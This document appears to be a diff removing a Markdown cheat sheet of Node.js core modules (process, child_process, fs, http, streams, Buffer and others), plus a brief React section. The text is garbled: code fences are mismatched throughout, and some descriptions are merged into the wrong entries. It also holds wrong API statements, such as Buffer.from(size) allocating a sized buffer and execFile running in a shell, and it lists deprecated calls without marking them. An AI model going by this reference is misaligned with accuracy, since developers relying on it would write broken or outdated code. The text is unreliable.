-> Ends the process with the specified code. If omitted, exit uses the 'success' code 0.
-
-```js
-process.getgid();
-```
-
-> Gets the group identity of the process.
-
-````js
-process.setgid(id);
->  Sets the group identity of the process.
-
-```js
-
-process.getuid();
-````
-
-> Gets the user identity of the process.
-
-````js
-process.setuid(id);
->  Sets the user identity of the process.
-
-```js
-
-process.getgroups();
-````
-
----
-
-> Returns an array with the supplementary group IDs.
-
-```js
-process.setgroups(grps);
-```
-
----
-
-> Sets the supplementary group IDs.
-
-```js
-process.initgroups(user, extra_grp);
-```
-
----
-
-> Reads /etc/group and initializes the group access list, using all groups of which the user is a member.
-
-```js
-process.kill(pid, [signal]);
-```
-
-> Send a signal to a process. pid is the process id and signal is the string describing the signal to send.
-
-```js
-process.memoryUsage();
-```
-
-> Returns an object describing the memory usage of the Node process measured in bytes.
-
-```js
-process.nextTick(callback);
-```
-
-> On the next loop around the event loop call this callback.
-
-````js
-process.maxTickDepth;
->  Callbacks passed to process.nextTick will usually be called at the end of the current flow of execution, and are thus approximately as fast as calling a function synchronously.
-
-```js
-
-process.umask([mask]);
-````
-
-> Sets or reads the process's file mode creation mask.
-
-```js
-process.uptime();
-```
-
-> Number of seconds Node has been running.
-
-```js
-process.hrtime();
-```
-
-> Returns the current high-resolution real time in a \[seconds, nanoseconds] tuple Array.
-
-````js
-//**************
- // * CHILD PROCESS
- * http://nodejs.org/api/child_process.html
-*/
-> ---------------------------------------------------------------------------\\
->  Node provides a tri-directional popen facility through the child_process module.
- > It is possible to stream data through a child's stdin, stdout, and stderr in a fully non-blocking way.
-
-```js
-
-ChildProcess;
->  Class. ChildProcess is an EventEmitter.
-
-```js
-
-child.stdin;
->  A Writable Stream that represents the child process's stdin
-child.stdout;
->  A Readable Stream that represents the child process's stdout
-child.stderr;
->  A Readable Stream that represents the child process's stderr.
-
-```js
-
-child.pid;
->  The PID of the child process
-child.connected;
->  If .connected is false, it is no longer possible to send messages
-child.kill([signal]);
-````
-
-> Send a signal to the child process child.send(message, \[sendHandle]);
-
-````
->  When using child_process.fork() you can write to the child using child.send(message, [sendHandle]) and messages are received by a 'message' event on the child.
-
-```js
-
-child.disconnect();
-````
-
-> Close the IPC channel between parent and child, allowing the child to exit gracefully once there are no other connections keeping it alive.
-
-```js
-child_process.spawn(command, [args], [options]);
-```
-
-> Launches a new process with the given command, with command line arguments in args. If omitted, args defaults to an empty Array.
-
-````js
-child_process.exec(command, [options], callback);
->  Runs a command in a shell and buffers the output.
-
-```js
-
-child_process.execFile(file, [args], [options], [callback]);
-````
-
----
-
-> Runs a command in a shell and buffers the output.
-
-```js
-child_process.fork(modulePath, [args], [options]);
-```
-
----
-
-> This is a special case of the spawn() functionality for spawning Node processes. In addition to having all the methods in a normal ChildProcess instance, the returned object has a communication channel built-in.
-
-````js
-//**************
- // * UTIL
- * http://nodejs.org/api/util.html
-*/
-> ---------------------------------------------------------------------------\\
->  These functions are in the module 'util'. Use require('util') to access them.
-
-```js
-
-util.format(format, [...]);
-````
-
-> Returns a formatted string using the first argument as a printf-like format. (%s, %d, %j) util.debug(string);
-
-````
----
->  A synchronous output function. Will block the process and output string immediately to stderr.
-
-```js
-
-util.error([...]);
-````
-
-> Same as util.debug() except this will output all arguments immediately to stderr.
-
-```js
-util.puts([...]);
-```
-
-> A synchronous output function. Will block the process and output all arguments to stdout with newlines after each argument.
-
-```js
-util.print([...]);
-```
-
-> A synchronous output function. Will block the process, cast each argument to a string then output to stdout. (no newlines) util.log(string);
-
-````
->  Output with timestamp on stdout.
-
-```js
-
-util.inspect(object, [opts]);
-````
-
----
-
-> Return a string representation of object, which is useful for debugging. (options: showHidden, depth, colors, customInspect) util.isArray(object);
-
-````
->   Returns true if the given "object" is an Array. false otherwise.
-
-```js
-
-util.isRegExp(object);
-````
-
-> Returns true if the given "object" is a RegExp. false otherwise.
-
-```js
-util.isDate(object);
-```
-
-> Returns true if the given "object" is a Date. false otherwise.
-
-```js
-util.isError(object);
-```
-
-> Returns true if the given "object" is an Error. false otherwise.
-
-````js
-util.promisify(fn)
->  Takes a function whose last argument is a callback and returns a version that returns promises.
-
-```js
-
-util.inherits(constructor, superConstructor);
-````
-
----
-
-> Inherit the prototype methods from one constructor into another.
-
-```js
-//**************
- // * EVENTS
- * http://nodejs.org/api/events.html
-*/
-> ---------------------------------------------------------------------------\\
->  All objects which emit events are instances of events.EventEmitter. You can access this module by doing: require("events");
-```
-
-> To access the EventEmitter class, require('events').EventEmitter. All EventEmitters emit the event 'newListener' when new listeners are added and 'removeListener' when a listener is removed.
-
-```js
-emitter.addListener(event, listener);
-```
-
-> Adds a listener to the end of the listeners array for the specified event.
-
-````js
-emitter.on(event, listener);
->  Same as emitter.addListener().
-
-```js
-
-emitter.once(event, listener);
-````
-
-> Adds a one time listener for the event. This listener is invoked only the next time the event is fired, after which it is removed.
-
-````js
-emitter.removeListener(event, listener);
->  Remove a listener from the listener array for the specified event.
-
-```js
-
-emitter.removeAllListeners([event]);
-````
-
-> Removes all listeners, or those of the specified event.
-
-````js
-emitter.setMaxListeners(n);
->  By default EventEmitters will print a warning if more than 10 listeners are added for a particular event.
-
-```js
-
-emitter.listeners(event);
->  Returns an array of listeners for the specified event.
-
-```js
-
-emitter.emit(event, [arg1], [arg2], [...]);
-````
-
----
-
-> Execute each of the listeners in order with the supplied arguments. Returns true if event had listeners, false otherwise.
-
-```js
-EventEmitter.listenerCount(emitter, event);
-```
-
----
-
-> Return the number of listeners for a given event. A stream is an abstract interface implemented by various objects in Node. For example a request to an HTTP server is a stream, as is stdout. Streams are readable, writable, or both. All streams are instances of EventEmitter. The Readable stream interface is the abstraction for a source of data that you are reading from. In other words, data comes out of a Readable stream. A Readable stream will not start emitting data until you indicate that you are ready to receive it. Examples of readable streams include: http responses on the client, http requests on the server, fs read streams zlib streams, crypto streams, tcp sockets, child process stdout and stderr, process.stdin.
-
-```js
-let readable = getReadableStreamSomehow();
-readable.on('readable', function () {});
-```
-
-> When a chunk of data can be read from the stream, it will emit a 'readable' event.
-
-```js
-readable.on('data', function (chunk) {});
-```
-
----
-
-> If you attach a data event listener, then it will switch the stream into flowing mode, and data will be passed to your handler as soon as it is available.
-
-```js
-readable.on('end', function () {});
-```
-
-> This event fires when there will be no more data to read.
-
-```js
-readable.on('close', function () {});
-```
-
----
-
-> Emitted when the underlying resource (for example, the backing file descriptor) has been closed. Not all streams will emit this.
-
-```js
-readable.on('error', function () {});
-```
-
----
-
-> Emitted if there was an error receiving data. The read() method pulls some data out of the internal buffer and returns it. If there is no data available, then it will return null. This method should only be called in non-flowing mode. In flowing-mode, this method is called automatically until the internal buffer is drained.
-
-```js
-readable.read([size]);
-readable.setEncoding(encoding);
-```
-
-> Call this function to cause the stream to return strings of the specified encoding instead of Buffer objects.
-
-```js
-readable.resume();
-```
-
-> This method will cause the readable stream to resume emitting data events.
-
-```js
-readable.pause();
-```
-
-> This method will cause a stream in flowing-mode to stop emitting data events.
-
-```js
-readable.pipe(destination, [options]);
-```
-
-> This method pulls all the data out of a readable stream, and writes it to the supplied destination, automatically managing the flow so that the destination is not overwhelmed by a fast readable stream.
-
-```js
-readable.unpipe([destination]);
-```
-
-> This method will remove the hooks set up for a previous pipe() call. If the destination is not specified, then all pipes are removed.
-
-````js
-readable.unshift(chunk);
->  This is useful in certain cases where a stream is being consumed by a parser, which needs to "un-consume" some data that it has optimistically pulled out of the source, so that the stream can be passed on to some other party.
->  The Writable stream interface is an abstraction for a destination that you are writing data to.
- > Examples of writable streams include: http requests on the client, http responses on the server, fs write streams,
->  zlib streams, crypto streams, tcp sockets, child process stdin, process.stdout, process.stderr.
-
-```js
-
-let writer = getWritableStreamSomehow();
-writable.write(chunk, [encoding], [callback]);
-````
-
----
-
-> This method writes some data to the underlying system, and calls the supplied callback once the data has been fully handled.
-
-````js
-writer.once('drain', write);
->  If a writable.write(chunk) call returns false, then the drain event will indicate when it is appropriate to begin writing more data to the stream.
-
-```js
-
-writable.end([chunk], [encoding], [callback]);
-````
-
----
-
-> Call this method when no more data will be written to the stream.
-
-````js
-writer.on('finish', function() {});
->  When the end() method has been called, and all data has been flushed to the underlying system, this event is emitted.
-
-```js
-
-writer.on('pipe', function(src) {});
-````
-
----
-
-> This is emitted whenever the pipe() method is called on a readable stream, adding this writable to its set of destinations.
-
-```js
-writer.on('unpipe', function (src) {});
-```
-
-> This is emitted whenever the unpipe() method is called on a readable stream, removing this writable from its set of destinations.
-
-```js
-writer.on('error', function (src) {});
-```
-
-> Emitted if there was an error when writing or piping data. Duplex streams are streams that implement both the Readable and Writable interfaces. See above for usage. Examples of Duplex streams include: tcp sockets, zlib streams, crypto streams. Transform streams are Duplex streams where the output is in some way computed from the input. They implement both the Readable and Writable interfaces. See above for usage. Examples of Transform streams include: zlib streams, crypto streams.
-
-````js
-//**************
- // * FILE SYSTEM
- * http://nodejs.org/api/fs.html
-*/
-> ---------------------------------------------------------------------------\\
->  To use this module do require('fs').
- > All the methods have asynchronous and synchronous forms.
-
-```js
-
-fs.rename(oldPath, newPath, callback);
-````
-
----
-
-> Asynchronous rename. No arguments other than a possible exception are given to the completion callback.Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.renameSync(oldPath, newPath);
-```
-
-> Synchronous rename.
-
-```js
-fs.ftruncate(fd, len, callback);
-```
-
-> Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.ftruncateSync(fd, len);
-```
-
-> Synchronous ftruncate.
-
-````js
-fs.truncate(path, len, callback);
->  Asynchronous truncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.truncateSync(path, len);
->  Synchronous truncate.
-
-```js
-
-fs.chown(path, uid, gid, callback);
->  Asynchronous chown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.chownSync(path, uid, gid);
-````
-
-> Synchronous chown.
-
-```js
-fs.fchown(fd, uid, gid, callback);
-```
-
----
-
-> Asynchronous fchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchownSync(fd, uid, gid);
-```
-
----
-
-> Synchronous fchown.
-
-```js
-fs.lchown(path, uid, gid, callback);
-```
-
-> Asynchronous lchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchownSync(path, uid, gid);
-```
-
-> Synchronous lchown.
-
-```js
-fs.chmod(path, mode, callback);
-```
-
-> Asynchronous chmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.chmodSync(path, mode);
-```
-
-> Synchronous chmod.
-
-```js
-fs.fchmod(fd, mode, callback);
-```
-
-> Asynchronous fchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchmodSync(fd, mode);
-```
-
-> Synchronous fchmod.
-
-```js
-fs.lchmod(path, mode, callback);
-```
-
-> Asynchronous lchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchmodSync(path, mode);
-```
-
-> Synchronous lchmod.
-
-```js
-fs.stat(path, callback);
-```
-
-> Asynchronous stat. The callback gets two arguments (err, stats) where stats is a fs.Stats object.
-
-```js
-fs.statSync(path);
-```
-
-> Synchronous stat. Returns an instance of fs.Stats.
-
-```js
-fs.lstat(path, callback);
-```
-
-> Asynchronous lstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. lstat() is identical to stat(), except that if path is a symbolic link, then the link itself is stat-ed, not the file that it refers to.
-
-```js
-fs.lstatSync(path);
-```
-
-> Synchronous lstat. Returns an instance of fs.Stats.
-
-````js
-fs.fstat(fd, callback);
->  Asynchronous fstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. fstat() is identical to stat(), except that the file to be stat-ed is specified by the file descriptor fd.
-
-```js
-
-fs.fstatSync(fd);
-````
-
----
-
-> Synchronous fstat. Returns an instance of fs.Stats.
-
-````js
-fs.link(srcpath, dstpath, callback);
->  Asynchronous link. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.linkSync(srcpath, dstpath);
-````
-
-> Synchronous link.
-
-```js
-fs.symlink(srcpath, dstpath, [type], callback);
-```
-
----
-
-> Asynchronous symlink. No arguments other than a possible exception are given to the completion callback. The type argument can be set to 'dir', 'file', or 'junction' (default is 'file') and is only available on Windows (ignored on other platforms)
-
-```js
-fs.symlinkSync(srcpath, dstpath, [type]);
-```
-
-> Synchronous symlink.
-
-```js
-fs.readlink(path, callback);
-```
-
-> Asynchronous readlink. The callback gets two arguments (err, linkString).
-
-```js
-fs.readlinkSync(path);
-```
-
----
-
-> Synchronous readlink. Returns the symbolic link's string value.
-
-```js
-fs.unlink(path, callback);
-```
-
----
-
-> Asynchronous unlink. No arguments other than a possible exception are given to the completion callback.
-
-````js
-fs.unlinkSync(path);
->  Synchronous unlink.
-
-```js
-
-fs.realpath(path, [cache], callback);
->  Asynchronous realpath. The callback gets two arguments (err, resolvedPath).
-
-```js
-
-fs.realpathSync(path, [cache]);
-````
-
-> Synchronous realpath. Returns the resolved path.
-
-````js
-fs.rmdir(path, callback);
->  Asynchronous rmdir. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.rmdirSync(path);
-````
-
----
-
-> Synchronous rmdir.
-
-```js
-fs.mkdir(path, [mode], callback);
-```
-
-> Asynchronous mkdir. No arguments other than a possible exception are given to the completion callback. mode defaults to 0777.
-
-```js
-fs.mkdirSync(path, [mode]);
-```
-
-> Synchronous mkdir.
-
-```js
-fs.readdir(path, callback);
-```
-
-> Asynchronous readdir. Reads the contents of a directory. The callback gets two arguments (err, files) where files is an array of the names of the files in the directory excluding '.' and '..'.
-
-```js
-fs.readdirSync(path);
-```
-
-> Synchronous readdir. Returns an array of filenames excluding '.' and '..'.
-
-```js
-fs.close(fd, callback);
-```
-
-> Asynchronous close. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.closeSync(fd);
-```
-
-> Synchronous close.
-
-```js
-fs.open(path, flags, [mode], callback);
-```
-
-> Asynchronous file open.
-
-```js
-fs.openSync(path, flags, [mode]);
-```
-
-> Synchronous version of fs.open().
-
-```js
-fs.utimes(path, atime, mtime, callback);
-```
-
----
-
-> Change file timestamps of the file referenced by the supplied path.
-
-```js
-fs.utimesSync(path, atime, mtime);
-```
-
-> Synchronous version of fs.utimes().
-
-```js
-fs.futimes(fd, atime, mtime, callback);
-```
-
-> Change the file timestamps of a file referenced by the supplied file descriptor.
-
-```js
-fs.futimesSync(fd, atime, mtime);
-```
-
-> Synchronous version of fs.futimes().
-
-```js
-fs.fsync(fd, callback);
-```
-
-> Asynchronous fsync. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fsyncSync(fd);
-```
-
-> Synchronous fsync.
-
-```js
-fs.write(fd, buffer, offset, length, position, callback);
-```
-
----
-
-> Write buffer to the file specified by fd.
-
-```js
-fs.writeSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.write(). Returns the number of bytes written.
-
-```js
-fs.read(fd, buffer, offset, length, position, callback);
-```
-
-> Read data from the file specified by fd.
-
-```js
-fs.readSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.read. Returns the number of bytesRead.
-
-```js
-fs.readFile(filename, [options], callback);
-```
-
-> Asynchronously reads the entire contents of a file.
-
-```js
-fs.readFileSync(filename, [options]);
-```
-
-> Synchronous version of fs.readFile. Returns the contents of the filename. If the encoding option is specified then this function returns a string. Otherwise it returns a buffer.
-
-```js
-fs.writeFile(filename, data, [options], callback);
-```
-
-> Asynchronously writes data to a file, replacing the file if it already exists. data can be a string or a buffer.
-
-```js
-fs.writeFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.writeFile.
-
-```js
-fs.appendFile(filename, data, [options], callback);
-```
-
----
-
-> Asynchronously append data to a file, creating the file if it not yet exists. data can be a string or a buffer.
-
-```js
-fs.appendFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.appendFile.
-
-```js
-fs.watch(filename, [options], [listener]);
-```
-
-> Watch for changes on filename, where filename is either a file or a directory. The returned object is a fs.FSWatcher. The listener callback gets two arguments (event, filename). event is either 'rename' or 'change', and filename is the name of the file which triggered the event.
-
-```js
-fs.exists(path, callback);
-```
-
----
-
-> Test whether or not the given path exists by checking with the file system. Then call the callback argument with either true or false. (should not be used) fs.existsSync(path);
-
-````
->  Synchronous version of fs.exists. (should not be used)
->  fs.Stats: objects returned from fs.stat(), fs.lstat() and fs.fstat() and their synchronous counterparts are of this type.
-
-```js
-
-stats.isFile();
-stats.isDirectory()
-stats.isBlockDevice()
-stats.isCharacterDevice()
-stats.isSymbolicLink()
->  (only valid with fs.lstat())
-stats.isFIFO()
-stats.isSocket()
-fs.createReadStream(path, [options]);
-````
-
-> Returns a new ReadStream object.
-
-```js
-fs.createWriteStream(path, [options]);
-```
-
----
-
-> Returns a new WriteStream object. Use require('path') to use this module. This module contains utilities for handling and transforming file paths. Almost all these methods perform only string transformations. The file system is not consulted to check whether paths are valid.
-
-````js
-path.normalize(p);
->  Normalize a string path, taking care of '..' and '.' parts.
-
-```js
-
-path.join([path1], [path2], [...]);
-````
-
-> Join all arguments together and normalize the resulting path.
-
-```js
-path.resolve([from ...], to);
-```
-
-> Resolves 'to' to an absolute path.
-
-```js
-path.relative(from, to);
-```
-
-> Solve the relative path from 'from' to 'to'.
-
-````js
-path.dirname(p);
->  Return the directory name of a path. Similar to the Unix dirname command.
-
-```js
-
-path.basename(p, [ext]);
-````
-
-> Return the last portion of a path. Similar to the Unix basename command.
-
-```js
-path.extname(p);
-```
-
----
-
-> Return the extension of the path, from the last '.' to end of string in the last portion of the path.
-
-```js
-path.sep;
-```
-
----
-
-> The platform-specific file separator. '\\' or '/'.
-
-```js
-path.delimiter;
-```
-
----
-
-> The platform-specific path delimiter, ';' or ':'. To use the HTTP server and client one must require('http').
-
-```js
-http.STATUS_CODES;
-```
-
-> A collection of all the standard HTTP response status codes, and the short description of each.
-
-```js
-http.request(options, [callback]);
-```
-
-````
----
->  This function allows one to transparently issue requests.
-
-```js
-
-http.get(options, [callback]);
-````
-
-> Set the method to GET and calls req.end() automatically.
-
-```js
-server = http.createServer([requestListener]);
-```
-
----
-
-> Returns a new web server object. The requestListener is a function which is automatically added to the 'request' event.
-
-```js
-server.listen(port, [hostname], [backlog], [callback]);
-```
-
-> Begin accepting connections on the specified port and hostname.
-
-```js
-server.listen(path, [callback]);
-```
-
-> Start a UNIX socket server listening for connections on the given path.
-
-```js
-server.listen(handle, [callback]);
-```
-
-> The handle object can be set to either a server or socket (anything with an underlying \_handle member), or a {fd: } object.
-
-```js
-server.close([callback]);
-```
-
-> Stops the server from accepting new connections.
-
-````js
-server.setTimeout(msecs, callback);
->  Sets the timeout value for sockets, and emits a 'timeout' event on the Server object, passing the socket as an argument, if a timeout occurs.
-
-```js
-
-server.maxHeadersCount;
-````
-
----
-
-> Limits maximum incoming headers count, equal to 1000 by default. If set to 0 - no limit will be applied.
-
-```js
-server.timeout;
-```
-
-> The number of milliseconds of inactivity before a socket is presumed to have timed out.
-
-```js
-server.on('request', function (request, response) {});
-```
-
-> Emitted each time there is a request.
-
-```js
-server.on('connection', function (socket) {});
-```
-
-> When a new TCP stream is established.
-
-```js
-server.on('close', function () {});
-```
-
----
-
-> Emitted when the server closes.
-
-```js
-server.on('checkContinue', function (request, response) {});
-```
-
----
-
-> Emitted each time a request with an http Expect: 100-continue is received.
-
-```js
-server.on('connect', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http CONNECT method.
-
-```js
-server.on('upgrade', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http upgrade.
-
-```js
-server.on('clientError', function (exception, socket) {});
-```
-
-> If a client connection emits an 'error' event - it will forwarded here.
-
-```js
-request.write(chunk, [encoding]);
-```
-
-> Sends a chunk of the body.
-
-```js
-request.end([data], [encoding]);
-```
-
-> Finishes sending the request. If any parts of the body are unsent, it will flush them to the stream.
-
-```js
-request.abort();
-```
-
-> Aborts a request.
-
-```js
-request.setTimeout(timeout, [callback]);
-```
-
----
-
-> Once a socket is assigned to this request and is connected socket.setTimeout() will be called.
-
-```js
-request.setNoDelay([noDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setNoDelay() will be called.
-
-```js
-request.setSocketKeepAlive([enable], [initialDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setKeepAlive() will be called.
-
-```js
-request.on('response', function (response) {});
-```
-
-> Emitted when a response is received to this request. This event is emitted only once.
-
-````js
-request.on('socket', function(socket) { });
->  Emitted after a socket is assigned to this request.
-
-```js
-
-request.on('connect', function(response, socket, head) { });
-````
-
-> Emitted each time a server responds to a request with a CONNECT method. If this event isn't being listened for, clients receiving a CONNECT method will have their connections closed.
-
-```js
-request.on('upgrade', function (response, socket, head) {});
-```
-
-> Emitted each time a server responds to a request with an upgrade. If this event isn't being listened for, clients receiving an upgrade header will have their connections closed.
-
-```js
-request.on('continue', function () {});
-```
-
-> Emitted when the server sends a '100 Continue' HTTP response, usually because the request contained 'Expect: 100-continue'. This is an instruction that the client should send the request body.
-
-```js
-response.write(chunk, [encoding]);
-```
-
-> This sends a chunk of the response body. If this merthod is called and response.writeHead() has not been called, it will switch to implicit header mode and flush the implicit headers.
-
-```js
-response.writeContinue();
-```
-
-> Sends a HTTP/1.1 100 Continue message to the client, indicating that the request body should be sent.
-
-````js
-response.writeHead(statusCode, [reasonPhrase], [headers]);
->  Sends a response header to the request.
-
-```js
-
-response.setTimeout(msecs, callback);
->  Sets the Socket's timeout value to msecs. If a callback is provided, then it is added as a listener on the 'timeout' event on the response object.
-
-```js
-
-response.setHeader(name, value);
->  Sets a single header value for implicit headers. If this header already exists in the to-be-sent headers, its value will be replaced. Use an array of strings here if you need to send multiple headers with the same name.
-
-```js
-
-response.getHeader(name);
-````
-
-> Reads out a header that's already been queued but not sent to the client. Note that the name is case insensitive.
-
-```js
-response.removeHeader(name);
-```
-
-> Removes a header that's queued for implicit sending.
-
-```js
-response.addTrailers(headers);
-```
-
-> This method adds HTTP trailing headers (a header but at the end of the message) to the response.
-
-```js
-response.end([data], [encoding]);
-```
-
-> This method signals to the server that all of the response headers and body have been sent; that server should consider this message complete. The method, response.end(), MUST be called on each response.
-
-````js
-response.statusCode;
->  When using implicit headers (not calling response.writeHead() explicitly), this property controls the status code that will be sent to the client when the headers get flushed.
-
-```js
-
-response.headersSent;
->  Boolean (read-only). True if headers were sent, false otherwise.
-
-```js
-
-response.sendDate;
->  When true, the Date header will be automatically generated and sent in the response if it is not already present in the headers. Defaults to true.
-
-```js
-
-response.on('close', function () { });
-````
-
----
-
-> Indicates that the underlying connection was terminated before response.end() was called or able to flush.
-
-```js
-response.on('finish', function () {});
-```
-
----
-
-> Emitted when the response has been sent.
-
-````js
-message.httpVersion;
->  In case of server request, the HTTP version sent by the client. In the case of client response, the HTTP version of the connected-to server.
-
-```js
-
-message.headers;
-````
-
-> The request/response headers object.
-
-```js
-message.trailers;
-```
-
----
-
-> The request/response trailers object. Only populated after the 'end' event.
-
-```js
-message.method;
-```
-
-> The request method as a string. Read only. Example: 'GET', 'DELETE'.
-
-````js
-message.url;
->  Request URL string. This contains only the URL that is present in the actual HTTP request.
-
-```js
-
-message.statusCode;
-````
-
-> The 3-digit HTTP response status code. E.G. 404.
-
-```js
-message.socket;
-```
-
-> The net.Socket object associated with the connection.
-
-```js
-message.setTimeout(msecs, callback);
-```
-
-> Calls message.connection.setTimeout(msecs, callback). This module has utilities for URL resolution and parsing. Call require('url') to use it.
-
-```js
-url.parse(urlStr, [parseQueryString], [slashesDenoteHost]);
-```
-
----
-
-> Take a URL string, and return an object.
-
-```js
-url.format(urlObj);
-```
-
-> Take a parsed URL object, and return a formatted URL string.
-
-```js
-url.resolve(from, to);
-```
-
-> Take a base URL, and a href URL, and resolve them as a browser would for an anchor tag.
-
-````js
-//**************
- // * QUERY STRING
- * http://nodejs.org/api/querystring.html
-*/
-> ---------------------------------------------------------------------------\\
->  This module provides utilities for dealing with query strings. Call require('querystring') to use it.
-
-```js
-
-querystring.stringify(obj, [sep], [eq]);
-````
-
-> Serialize an object to a query string. Optionally override the default separator ('&') and assignment ('=') characters.
-
-```js
-querystring.parse(str, [sep], [eq], [options]);
-```
-
----
-
-> Deserialize a query string to an object. Optionally override the default separator ('&') and assignment ('=') characters. This module is used for writing unit tests for your applications, you can access it with require('assert').
-
-```js
-assert.fail(actual, expected, message, operator);
-```
-
-> Throws an exception that displays the values for actual and expected separated by the provided operator.
-
-```js
-assert(value, message);
-assert.ok(value, [message]);
-```
-
----
-
-> Tests if value is truthy, it is equivalent to assert.equal(true, !!value, message);
-
-```js
-assert.equal(actual, expected, [message]);
-```
-
----
-
-> Tests shallow, coercive equality with the equal comparison operator ( == ).
-
-```js
-assert.notEqual(actual, expected, [message]);
-```
-
-> Tests shallow, coercive non-equality with the not equal comparison operator ( != ).
-
-```js
-assert.deepEqual(actual, expected, [message]);
-```
-
-> Tests for deep equality.
-
-```js
-assert.notDeepEqual(actual, expected, [message]);
-```
-
-> Tests for any deep inequality.
-
-```js
-assert.strictEqual(actual, expected, [message]);
-```
-
----
-
-> Tests strict equality, as determined by the strict equality operator ( === )
-
-```js
-assert.notStrictEqual(actual, expected, [message]);
-```
-
-> Tests strict non-equality, as determined by the strict not equal operator ( !== )
-
-```js
-assert.throws(block, [error], [message]);
-```
-
-> Expects block to throw an error. error can be constructor, RegExp or validation function.
-
-```js
-assert.doesNotThrow(block, [message]);
-```
-
-> Expects block not to throw an error, see assert.throws for details.
-
-```js
-assert.ifError(value);
-```
-
-> Tests if value is not a false value, throws if it is a true value. Useful when testing the first argument, error in callbacks. Provides a few basic operating-system related utility functions. Use require('os') to access this module.
-
-```js
-os.tmpdir();
-```
-
-> Returns the operating system's default directory for temp files.
-
-```js
-os.endianness();
-```
-
-> Returns the endianness of the CPU. Possible values are "BE" or "LE".
-
-```js
-os.hostname();
-```
-
-> Returns the hostname of the operating system.
-
-```js
-os.type();
-```
-
-> Returns the operating system name.
-
-```js
-os.platform();
-```
-
-> Returns the operating system platform.
-
-```js
-os.arch();
-```
-
-> Returns the operating system CPU architecture.
-
-```js
-os.release();
-```
-
----
-
-> Returns the operating system release.
-
-````js
-os.uptime();
->  Returns the system uptime in seconds.
-
-```js
-
-os.loadavg();
-````
-
----
-
-> Returns an array containing the 1, 5, and 15 minute load averages.
-
-```js
-os.totalmem();
-```
-
-> Returns the total amount of system memory in bytes.
-
-```js
-os.freemem();
-```
-
----
-
-> Returns the amount of free system memory in bytes.
-
-```js
-os.cpus();
-```
-
-> Returns an array of objects containing information about each CPU/core installed: model, speed (in MHz), and times (an object containing the number of milliseconds the CPU/core spent in: user, nice, sys, idle, and irq).
-
-```js
-os.networkInterfaces();
-```
-
----
-
-> Get a list of network interfaces.
-
-```js
-os.EOL;
->  A constant defining the appropriate End-of-line marker for the operating system.
-```
-
-> Buffer is used to dealing with binary data Buffer is similar to an array of integers but corresponds to a raw memory allocation outside the V8 heap
-
-```js
-Buffer.from(size);
-```
-
-> Allocates a new buffer of size octets.
-
-```js
-Buffer.from(array);
-```
-
-> Allocates a new buffer using an array of octets.
-
-```js
-Buffer.from(str, [encoding]);
-```
-
-> Allocates a new buffer containing the given str. encoding defaults to 'utf8'.
-
-```js
-Buffer.isEncoding(encoding);
-```
-
-> Returns true if the encoding is a valid encoding argument, or false otherwise.
-
-```js
-Buffer.isBuffer(obj);
-```
-
-> Tests if obj is a Buffer
-
-```js
-Buffer.concat(list, [totalLength]);
-```
-
-> Returns a buffer which is the result of concatenating all the buffers in the list together.
-
-```js
-Buffer.byteLength(string, [encoding]);
-```
-
-> Gives the actual byte length of a string.
-
-```js
-buf.write(string, [offset], [length], [encoding]);
-```
-
-> Writes string to the buffer at offset using the given encoding buf.toString(\[encoding], \[start], \[end]);
-
-````
----
->  Decodes and returns a string from buffer data encoded with encoding (defaults to 'utf8') beginning at start (defaults to 0) and ending at end (defaults to buffer.length).
-
-```js
-
-buf.toJSON();
-````
-
-> Returns a JSON-representation of the Buffer instance, which is identical to the output for JSON Arrays
-
-```js
-buf.copy(targetBuffer, [targetStart], [sourceStart], [sourceEnd]);
-```
-
----
-
-> Does copy between buffers. The source and target regions can be overlapped
-
-```js
-buf.slice([start], [end]);
-```
-
-> Returns a new buffer which references the same memory as the old, but offset and cropped by the start (defaults to 0) and end (defaults to buffer.length) indexes. Negative indexes start from the end of the buffer.
-
-```js
-buf.fill(value, [offset], [end]);
-```
-
-> Fills the buffer with the specified value
-
-```js
-buf[index];
-```
-
-> Get and set the octet at index
-
-```js
-buf.length;
-```
-
-> The size of the buffer in bytes, Note that this is not necessarily the size of the contents
-
-```js
-buffer.INSPECT_MAX_BYTES;
-```
-
-> How many bytes will be returned when buffer.inspect() is called. This can be overridden by user modules.
-
-```js
-
-```
-
-## ReactJS
-
----
-
-```bash
-npm install --save react
-#// declarative and flexible JavaScript library for building UI
-npm install --save react-dom
-# > serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types
-#// runtime type checking for React props and similar objects
-```
-
-### notes: don't forget the command lines
-
-> Create and return a new React element of the given type.
-
-> Code written with JSX will be converted to use React.createElement().
-
-> You will not typically invoke React.createElement() directly if you are using JSX.
-
-```js
-React.createElement(type, [props], [...children]);
-```
-
-> Clone and return a new React element using element as the starting point.
-
-> The resulting element will have the original element's props with the new props merged in shallowly.
-
-```js
-React.cloneElement(element, [props], [...children]);
-```
-
-> Verifies the object is a React element. Returns true or false.
-
-```js
-React.isValidElement(object);
-```
-
-> React.Children> provides utilities for dealing with the this.props.children opaque data structure. Invokes a function on every immediate child contained within children with this set to thisArg.
-
-```js
-React.Children.map(children, function[(thisArg)])
-```
-
-> Like React.Children.map() but does not return an array.
-
-```js
-React.Children.forEach(children, function[(thisArg)])
-```
-
